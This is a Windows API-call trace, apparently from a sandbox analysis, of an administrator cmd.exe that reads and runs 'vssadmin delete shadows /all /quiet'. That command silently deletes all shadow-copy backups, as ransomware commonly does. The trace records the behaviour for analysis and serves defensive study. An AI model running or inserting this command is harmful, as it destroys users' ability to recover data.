0x0 [0094.662] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.662] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c5c, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0094.662] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.662] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.663] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0094.663] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.663] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.663] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0094.663] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.663] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.663] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0094.663] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.663] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.663] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.663] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0094.663] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.663] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.664] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0094.664] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.664] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.664] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0094.664] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.664] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.664] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0094.664] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.664] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.664] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0094.664] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.664] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.664] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.664] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0094.664] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.664] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.665] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0094.665] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.665] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.665] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0094.665] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.665] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.665] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0094.665] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.665] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.665] ReadFile (in: hFile=0x274, lpBuffer=0x7ff7ab039970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xfd951ef948, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesRead=0xfd951ef948*=0x1, lpOverlapped=0x0) returned 1 [0094.665] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=1, lpWideCharStr=0x7ff7ab043c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0094.680] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.681] GetFileType (hFile=0x274) returned 0x3 [0094.681] _get_osfhandle (_FileHandle=0) returned 0x274 [0094.681] SetFilePointer (in: hFile=0x274, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0094.681] _get_osfhandle (_FileHandle=1) returned 0x280 [0094.681] GetFileType (hFile=0x280) returned 0x3 [0094.681] _get_osfhandle (_FileHandle=1) returned 0x280 [0094.681] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff7ab039970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", lpUsedDefaultChar=0x0) returned 37 [0094.681] WriteFile (in: hFile=0x280, lpBuffer=0x7ff7ab039970*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0xfd951ef8e8, lpOverlapped=0x0 | out: lpBuffer=0x7ff7ab039970*, lpNumberOfBytesWritten=0xfd951ef8e8*=0x24, lpOverlapped=0x0) returned 1 [0094.681] GetProcessHeap () returned 0x2879df70000 [0094.681] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x4012) returned 0x2879df78fe0 [0094.681] GetProcessHeap () returned 0x2879df70000 [0094.681] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df78fe0) returned 1 [0094.682] _wcsicmp (_String1="vssadmin", _String2=")") returned 77 [0094.682] _wcsicmp (_String1="FOR", _String2="vssadmin") returned -16 [0094.682] _wcsicmp (_String1="FOR/?", _String2="vssadmin") returned -16 [0094.682] _wcsicmp (_String1="IF", _String2="vssadmin") returned -13 [0094.682] _wcsicmp (_String1="IF/?", _String2="vssadmin") returned -13 [0094.682] _wcsicmp (_String1="REM", _String2="vssadmin") returned -4 [0094.682] _wcsicmp (_String1="REM/?", _String2="vssadmin") returned -4 [0094.682] GetProcessHeap () returned 0x2879df70000 [0094.682] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xb0) returned 0x2879df767b0 [0094.682] GetProcessHeap () returned 0x2879df70000 [0094.682] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x22) returned 0x2879df76a50 [0094.683] GetProcessHeap () returned 0x2879df70000 [0094.683] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x48) returned 0x2879df76a80 [0094.684] GetConsoleOutputCP () returned 0x1b5 [0096.240] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7ab03fbb0 | out: lpCPInfo=0x7ff7ab03fbb0) returned 1 [0096.240] SetThreadUILanguage (LangId=0x0) returned 0x409 [0096.638] GetConsoleTitleW (in: lpConsoleTitle=0xfd951ef730, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0097.237] malloc (_Size=0xffce) returned 0x2879e160840 [0097.237] ??_V@YAXPEAX@Z () returned 0x2879e160840 [0097.242] malloc (_Size=0xffce) returned 0x2879e170820 [0097.248] ??_V@YAXPEAX@Z () returned 0x2879e170820 [0097.252] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0097.252] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0097.252] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0097.252] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0097.252] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0097.252] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0097.252] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0097.252] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0097.252] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0097.252] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0097.253] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0097.253] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0097.254] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0097.255] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0097.255] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0097.256] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0097.256] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0097.258] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0097.258] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0097.258] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0097.259] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0097.259] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0097.259] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0097.261] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0097.262] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0097.262] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0097.262] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0097.263] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0097.263] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0097.263] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0097.264] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0097.264] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0097.264] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0097.265] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0097.272] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0097.272] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0097.272] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0097.274] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0097.274] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0097.274] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0097.276] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0097.276] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0097.276] _wcsicmp (_String1="vssadmin", _String2="DIR") returned 18 [0097.280] _wcsicmp (_String1="vssadmin", _String2="ERASE") returned 17 [0097.280] _wcsicmp (_String1="vssadmin", _String2="DEL") returned 18 [0097.281] _wcsicmp (_String1="vssadmin", _String2="TYPE") returned 2 [0097.281] _wcsicmp (_String1="vssadmin", _String2="COPY") returned 19 [0097.281] _wcsicmp (_String1="vssadmin", _String2="CD") returned 19 [0097.281] _wcsicmp (_String1="vssadmin", _String2="CHDIR") returned 19 [0097.282] _wcsicmp (_String1="vssadmin", _String2="RENAME") returned 4 [0097.282] _wcsicmp (_String1="vssadmin", _String2="REN") returned 4 [0097.282] _wcsicmp (_String1="vssadmin", _String2="ECHO") returned 17 [0097.282] _wcsicmp (_String1="vssadmin", _String2="SET") returned 3 [0097.282] _wcsicmp (_String1="vssadmin", _String2="PAUSE") returned 6 [0097.282] _wcsicmp (_String1="vssadmin", _String2="DATE") returned 18 [0097.282] _wcsicmp (_String1="vssadmin", _String2="TIME") returned 2 [0097.282] _wcsicmp (_String1="vssadmin", _String2="PROMPT") returned 6 [0097.282] _wcsicmp (_String1="vssadmin", _String2="MD") returned 9 [0097.282] _wcsicmp (_String1="vssadmin", _String2="MKDIR") returned 9 [0097.282] _wcsicmp (_String1="vssadmin", _String2="RD") returned 4 [0097.282] _wcsicmp (_String1="vssadmin", _String2="RMDIR") returned 4 [0097.282] _wcsicmp (_String1="vssadmin", _String2="PATH") returned 6 [0097.282] _wcsicmp (_String1="vssadmin", _String2="GOTO") returned 15 [0097.282] _wcsicmp (_String1="vssadmin", _String2="SHIFT") returned 3 [0097.282] _wcsicmp (_String1="vssadmin", _String2="CLS") returned 19 [0097.282] _wcsicmp (_String1="vssadmin", _String2="CALL") returned 19 [0097.282] _wcsicmp (_String1="vssadmin", _String2="VERIFY") returned 14 [0097.282] _wcsicmp (_String1="vssadmin", _String2="VER") returned 14 [0097.282] _wcsicmp (_String1="vssadmin", _String2="VOL") returned 4 [0097.282] _wcsicmp (_String1="vssadmin", _String2="EXIT") returned 17 [0097.282] _wcsicmp (_String1="vssadmin", _String2="SETLOCAL") returned 3 [0097.282] _wcsicmp (_String1="vssadmin", _String2="ENDLOCAL") returned 17 [0097.282] _wcsicmp (_String1="vssadmin", _String2="TITLE") returned 2 [0097.282] _wcsicmp (_String1="vssadmin", _String2="START") returned 3 [0097.283] _wcsicmp (_String1="vssadmin", _String2="DPATH") returned 18 [0097.283] _wcsicmp (_String1="vssadmin", _String2="KEYS") returned 11 [0097.283] _wcsicmp (_String1="vssadmin", _String2="MOVE") returned 9 [0097.283] _wcsicmp (_String1="vssadmin", _String2="PUSHD") returned 6 [0097.283] _wcsicmp (_String1="vssadmin", _String2="POPD") returned 6 [0097.283] _wcsicmp (_String1="vssadmin", _String2="ASSOC") returned 21 [0097.283] _wcsicmp (_String1="vssadmin", _String2="FTYPE") returned 16 [0097.283] _wcsicmp (_String1="vssadmin", _String2="BREAK") returned 20 [0097.283] _wcsicmp (_String1="vssadmin", _String2="COLOR") returned 19 [0097.283] _wcsicmp (_String1="vssadmin", _String2="MKLINK") returned 9 [0097.283] _wcsicmp (_String1="vssadmin", _String2="FOR") returned 16 [0097.283] _wcsicmp (_String1="vssadmin", _String2="IF") returned 13 [0097.283] _wcsicmp (_String1="vssadmin", _String2="REM") returned 4 [0097.283] ??_V@YAXPEAX@Z () returned 0x1 [0097.283] GetProcessHeap () returned 0x2879df70000 [0097.283] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xffde) returned 0x2879df78fe0 [0097.285] GetProcessHeap () returned 0x2879df70000 [0097.285] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x5a) returned 0x2879df719f0 [0097.285] _wcsnicmp (_String1="vssa", _String2="cmd ", _MaxCount=0x4) returned 19 [0097.285] malloc (_Size=0xffce) returned 0x2879e170820 [0097.285] ??_V@YAXPEAX@Z () returned 0x2879e170820 [0097.285] GetProcessHeap () returned 0x2879df70000 [0097.285] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x1ffac) returned 0x2879df88fd0 [0097.288] SetErrorMode (uMode=0x0) returned 0x0 [0097.288] SetErrorMode (uMode=0x1) returned 0x0 [0097.288] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x2879df88fe0, lpFilePart=0xfd951eefb0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xfd951eefb0*="Desktop") returned 0x17 [0097.288] SetErrorMode (uMode=0x0) returned 0x1 [0097.288] GetProcessHeap () returned 0x2879df70000 [0097.288] RtlReAllocateHeap (Heap=0x2879df70000, Flags=0x0, Ptr=0x2879df88fd0, Size=0x52) returned 0x2879df88fd0 [0097.288] GetProcessHeap () returned 0x2879df70000 [0097.288] RtlSizeHeap (HeapHandle=0x2879df70000, Flags=0x0, MemoryPointer=0x2879df88fd0) returned 0x52 [0097.288] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0097.288] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0097.288] GetProcessHeap () returned 0x2879df70000 [0097.288] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x1bc) returned 0x2879df78320 [0097.288] GetProcessHeap () returned 0x2879df70000 [0097.288] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x368) returned 0x2879df89040 [0097.302] GetProcessHeap () returned 0x2879df70000 [0097.302] RtlReAllocateHeap (Heap=0x2879df70000, Flags=0x0, Ptr=0x2879df89040, Size=0x1be) returned 0x2879df89040 [0097.302] GetProcessHeap () returned 0x2879df70000 [0097.302] RtlSizeHeap (HeapHandle=0x2879df70000, Flags=0x0, MemoryPointer=0x2879df89040) returned 0x1be [0097.302] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7ab03bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0097.302] GetProcessHeap () returned 0x2879df70000 [0097.302] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0xe8) returned 0x2879df76c30 [0097.304] GetProcessHeap () returned 0x2879df70000 [0097.304] RtlReAllocateHeap (Heap=0x2879df70000, Flags=0x0, Ptr=0x2879df76c30, Size=0x7e) returned 0x2879df76c30 [0097.304] GetProcessHeap () returned 0x2879df70000 [0097.304] RtlSizeHeap (HeapHandle=0x2879df70000, Flags=0x0, MemoryPointer=0x2879df76c30) returned 0x7e [0097.304] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.305] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xfd951eed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xfd951eed20) returned 0xffffffffffffffff [0097.305] GetLastError () returned 0x2 [0097.305] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.305] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xfd951eed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xfd951eed20) returned 0xffffffffffffffff [0097.309] GetLastError () returned 0x2 [0097.310] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0097.310] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.*", fInfoLevelId=0x1, lpFindFileData=0xfd951eed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xfd951eed20) returned 0x2879df76cc0 [0097.310] GetProcessHeap () returned 0x2879df70000 [0097.310] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x0, Size=0x28) returned 0x2879df71a60 [0097.310] FindClose (in: hFindFile=0x2879df76cc0 | out: hFindFile=0x2879df76cc0) returned 1 [0097.310] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.COM", fInfoLevelId=0x1, lpFindFileData=0xfd951eed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xfd951eed20) returned 0xffffffffffffffff [0097.311] GetLastError () returned 0x2 [0097.311] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\vssadmin.EXE", fInfoLevelId=0x1, lpFindFileData=0xfd951eed20, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0xfd951eed20) returned 0x2879df76cc0 [0097.311] GetProcessHeap () returned 0x2879df70000 [0097.311] RtlReAllocateHeap (Heap=0x2879df70000, Flags=0x0, Ptr=0x2879df71a60, Size=0x8) returned 0x2879df71a60 [0097.311] FindClose (in: hFindFile=0x2879df76cc0 | out: hFindFile=0x2879df76cc0) returned 1 [0097.311] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0097.311] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0097.311] ??_V@YAXPEAX@Z () returned 0x1 [0097.311] GetConsoleTitleW (in: lpConsoleTitle=0xfd951ef2a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0097.783] GetProcessHeap () returned 0x2879df70000 [0097.783] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x21c) returned 0x2879df76cc0 [0097.783] GetConsoleTitleW (in: lpConsoleTitle=0x2879df76cd0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0098.381] GetProcessHeap () returned 0x2879df70000 [0098.381] RtlReAllocateHeap (Heap=0x2879df70000, Flags=0x0, Ptr=0x2879df76cc0, Size=0xc2) returned 0x2879df76cc0 [0098.381] GetProcessHeap () returned 0x2879df70000 [0098.381] RtlSizeHeap (HeapHandle=0x2879df70000, Flags=0x0, MemoryPointer=0x2879df76cc0) returned 0xc2 [0098.381] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe - vssadmin delete shadows /all /quiet") returned 1 [0098.844] GetProcessHeap () returned 0x2879df70000 [0098.844] RtlFreeHeap (HeapHandle=0x2879df70000, Flags=0x0, BaseAddress=0x2879df76cc0) returned 1 [0098.844] InitializeProcThreadAttributeList (in: lpAttributeList=0xfd951ef1c0, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0xfd951ef0b0 | out: lpAttributeList=0xfd951ef1c0, lpSize=0xfd951ef0b0) returned 1 [0098.844] UpdateProcThreadAttribute (in: lpAttributeList=0xfd951ef1c0, dwFlags=0x0, Attribute=0x60001, lpValue=0xfd951ef09c, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0xfd951ef1c0, lpPreviousValue=0x0) returned 1 [0098.844] GetStartupInfoW (in: lpStartupInfo=0xfd951ef150 | out: lpStartupInfo=0xfd951ef150*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\WINDOWS\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x274, hStdOutput=0x280, hStdError=0x280)) [0098.844] GetProcessHeap () returned 0x2879df70000 [0098.844] RtlAllocateHeap (HeapHandle=0x2879df70000, Flags=0x8, Size=0x20) returned 0x2879df76cc0 [0098.844] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0098.844] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 